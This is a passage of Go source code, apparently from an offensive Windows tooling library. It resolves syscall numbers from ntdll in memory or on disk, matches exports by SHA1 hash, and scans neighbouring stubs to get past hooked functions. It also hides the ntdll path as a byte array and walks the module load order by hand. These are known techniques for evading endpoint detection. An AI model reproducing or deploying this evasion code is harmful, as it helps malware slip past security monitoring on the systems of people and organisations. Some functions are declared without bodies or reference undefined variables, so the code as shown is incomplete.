0x%x\n", Ntd+uintptr(exp.VirtualAddress)+uintptr(18)) 120 | return Ntd + uintptr(exp.VirtualAddress) + uintptr(18) 121 | } 122 | } 123 | } 124 | } 125 | } 126 | return 0 127 | } 128 | 129 | //GetModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll. 130 | func gMLO(i int) (start uintptr, size uintptr, modulepath string) { 131 | var badstring *sstring 132 | start, size, badstring = getMLO(i) 133 | modulepath = badstring.String() 134 | return 135 | } 136 | 137 | //NtdllHgate takes the exported syscall name and gets the ID it refers to. This function will access the ntdll file _on disk_, and relevant events/logs will be generated for those actions. 138 | func DiskHgate(funcname string, hash func(string) string) (uint16, error) { 139 | return getSysIDFromDisk(funcname, hash) 140 | } 141 | 142 | //NtdllHgate takes the exported syscall name and gets the ID it refers to. This function will access the ntdll file _on disk_, and relevant events/logs will be generated for those actions. 143 | func MemHgate(funcname string, hash func(string) string) (uint16, error) { 144 | return getSysIDFromMem(funcname, hash) 145 | } 146 | 147 | //getSysIDFromMemory takes values to resolve, and resolves from disk. 148 | func getSysIDFromMem(funcname string, hash func(string) string) (uint16, error) { 149 | //Get dll module BaseAddr 150 | //get ntdll handler 151 | Ntd, _, _ := gMLO(1) 152 | if Ntd == 0 { 153 | return 0, fmt.Errorf("err GetModuleHandleA") 154 | } 155 | //moduleInfo := windows.ModuleInfo{} 156 | //err := windows.GetModuleInformation(windows.Handle(uintptr(0xffffffffffffffff)), windows.Handle(Ntd), &moduleInfo, uint32(unsafe.Sizeof(moduleInfo))) 157 | 158 | //if err != nil { 159 | // return 0, err 160 | //} 161 | //addrMod := moduleInfo.BaseOfDll 162 | addrMod := Ntd 163 | 164 | //get ntheader of ntdll 165 | ntHeader := ntH(addrMod) 166 | if ntHeader == nil { 167 | return 0, fmt.Errorf("get ntHeader err") 168 | } 169 | windows.SleepEx(50, false) 170 | //get module size of ntdll 171 | modSize := ntHeader.OptionalHeader.SizeOfImage 172 | if modSize == 0 { 173 | return 0, fmt.Errorf("get module size err") 174 | } 175 | //fmt.Println("ntdll module size: " + strconv.Itoa(int(modSize))) 176 | 177 | rr := rawreader.New(addrMod, int(modSize)) 178 | p, e := pe.NewFileFromMemory(rr) 179 | 180 | if e != nil { 181 | return 0, e 182 | } 183 | ex, e := p.Exports() 184 | for _, exp := range ex { 185 | if strings.ToLower(hash(exp.Name)) == strings.ToLower(funcname) || strings.ToLower(hash(strings.ToLower(exp.Name))) == strings.ToLower(funcname) { 186 | offset := rvaToOffset(p, exp.VirtualAddress) 187 | b, e := p.Bytes() 188 | if e != nil { 189 | return 0, e 190 | } 191 | buff := b[offset : offset+10] 192 | 193 | // First opcodes should be : 194 | // MOV R10, RCX 195 | // MOV RAX, 196 | if buff[0] == 0x4c && 197 | buff[1] == 0x8b && 198 | buff[2] == 0xd1 && 199 | buff[3] == 0xb8 && 200 | buff[6] == 0x00 && 201 | buff[7] == 0x00 { 202 | return sysIDFromRawBytes(buff) 203 | } else { 204 | for idx := uintptr(1); idx <= 500; idx++ { 205 | // check neighboring syscall down 206 | if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) + idx*IDX)) == 0x4c && 207 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) + idx*IDX)) == 0x8b && 208 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) + idx*IDX)) == 0xd1 && 209 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) + idx*IDX)) == 0xb8 && 210 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) + idx*IDX)) == 0x00 && 211 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) + idx*IDX)) == 0x00 { 212 | buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) + idx*IDX)) 213 | buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) + idx*IDX)) 214 | return Uint16Down(buff[4:8], uint16(idx)), nil 215 | } 216 | 217 | // check neighboring syscall up 218 | if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) - idx*IDX)) == 0x4c && 219 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) - idx*IDX)) == 0x8b && 220 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) - idx*IDX)) == 0xd1 && 221 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) - idx*IDX)) == 0xb8 && 222 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) - idx*IDX)) == 0x00 && 223 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) - idx*IDX)) == 0x00 { 224 | buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) - idx*IDX)) 225 | buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) - idx*IDX)) 226 | return Uint16Up(buff[4:8], uint16(idx)), nil 227 | } 228 | } 229 | } 230 | 231 | return 0, errors.New("Could not find sID") 232 | } 233 | } 234 | return 0, errors.New("Could not find sID") 235 | } 236 | 237 | //getSysIDFromMemory takes values to resolve, and resolves from disk. 238 | func getSysIDFromDisk(funcname string, hash func(string) string) (uint16, error) { 239 | l := string([]byte{'c', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l'}) 240 | p, e := pe.Open(l) 241 | if e != nil { 242 | return 0, e 243 | } 244 | ex, e := p.Exports() 245 | for _, exp := range ex { 246 | if strings.ToLower(hash(exp.Name)) == strings.ToLower(funcname) || strings.ToLower(hash(strings.ToLower(exp.Name))) == strings.ToLower(funcname) { 247 | offset := rvaToOffset(p, exp.VirtualAddress) 248 | b, e := p.Bytes() 249 | if e != nil { 250 | return 0, e 251 | } 252 | buff := b[offset : offset+10] 253 | 254 | // First opcodes should be : 255 | // MOV R10, RCX 256 | // MOV RAX, 257 | if buff[0] == 0x4c && 258 | buff[1] == 0x8b && 259 | buff[2] == 0xd1 && 260 | buff[3] == 0xb8 && 261 | buff[6] == 0x00 && 262 | buff[7] == 0x00 { 263 | return sysIDFromRawBytes(buff) 264 | } else { 265 | for idx := uintptr(1); idx <= 500; idx++ { 266 | // check neighboring syscall down 267 | if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) + idx*IDX)) == 0x4c && 268 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) + idx*IDX)) == 0x8b && 269 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) + idx*IDX)) == 0xd1 && 270 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) + idx*IDX)) == 0xb8 && 271 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) + idx*IDX)) == 0x00 && 272 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) + idx*IDX)) == 0x00 { 273 | buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) + idx*IDX)) 274 | buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) + idx*IDX)) 275 | return Uint16Down(buff[4:8], uint16(idx)), nil 276 | } 277 | 278 | // check neighboring syscall up 279 | if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) - idx*IDX)) == 0x4c && 280 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) - idx*IDX)) == 0x8b && 281 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) - idx*IDX)) == 0xd1 && 282 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) - idx*IDX)) == 0xb8 && 283 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) - idx*IDX)) == 0x00 && 284 | *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) - idx*IDX)) == 0x00 { 285 | buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) - idx*IDX)) 286 | buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) - idx*IDX)) 287 | return Uint16Up(buff[4:8], uint16(idx)), nil 288 | } 289 | } 290 | } 291 | return 0, errors.New("Could not find sID") 292 | } 293 | } 294 | return 0, errors.New("Could not find sID") 295 | } 296 | 297 | //rvaToOffset converts an RVA value from a PE file into the file offset. When using binject/debug, this should work fine even with in-memory files. 298 | func rvaToOffset(pefile *pe.File, rva uint32) uint32 { 299 | for _, hdr := range pefile.Sections { 300 | baseoffset := uint64(rva) 301 | if baseoffset > uint64(hdr.VirtualAddress) && 302 | baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) { 303 | return rva - hdr.VirtualAddress + hdr.Offset 304 | } 305 | } 306 | return rva 307 | } 308 | 309 | //sysIDFromRawBytes takes a byte slice and determines if there is a sysID in the expected location. Returns a MayBeHookedError if the signature does not match. 310 | func sysIDFromRawBytes(b []byte) (uint16, error) { 311 | return binary.LittleEndian.Uint16(b[4:8]), nil 312 | } 313 | 314 | func Uint16Down(b []byte, idx uint16) uint16 { 315 | _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808 316 | return uint16(b[0]) - idx | uint16(b[1])<<8 317 | } 318 | func Uint16Up(b []byte, idx uint16) uint16 { 319 | _ = b[1] // bounds check hint to compiler; see golang.org/issue/14808 320 | return uint16(b[0]) + idx | uint16(b[1])<<8 321 | } 322 | 323 | func ntH(baseAddress uintptr) *IMAGE_NT_HEADERS { 324 | return (*IMAGE_NT_HEADERS)(unsafe.Pointer(baseAddress + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(baseAddress)).E_lfanew))) 325 | } 326 | 327 | func PrepareSyscall(sysid uint16) uintptr { 328 | callAddr := GetCall("", hookedapi, str2sha1) 329 | syscall.Syscall(p, 2, uintptr(sysid), callAddr, 0) 330 | return d 331 | } 332 | 333 | func pS() { 334 | prepareSyscall() 335 | } 336 | 337 | //sstring is the stupid internal windows definiton of a unicode string. I hate it. 338 | type sstring struct { 339 | Length uint16 340 | MaxLength uint16 341 | PWstr *uint16 342 | } 343 | 344 | func (s sstring) String() string { 345 | return windows.UTF16PtrToString(s.PWstr) 346 | } 347 | 348 | func str2sha1(s string) string { 349 | h := sha1.New() 350 | h.Write([]byte(s)) 351 | bs := h.Sum(nil) 352 | return fmt.Sprintf("%x", bs) 353 | } 354 | 355 | func prepareSyscall() 356 | 357 | //getModuleLoadedOrder returns the start address of module located at i in the load order. This might be useful if there is a function you need that isn't in ntdll, or if some rude individual has loaded themselves before ntdll. 358 | func getMLO(i int) (start uintptr, size uintptr, modulepath *sstring) 359 | --------------------------------------------------------------------------------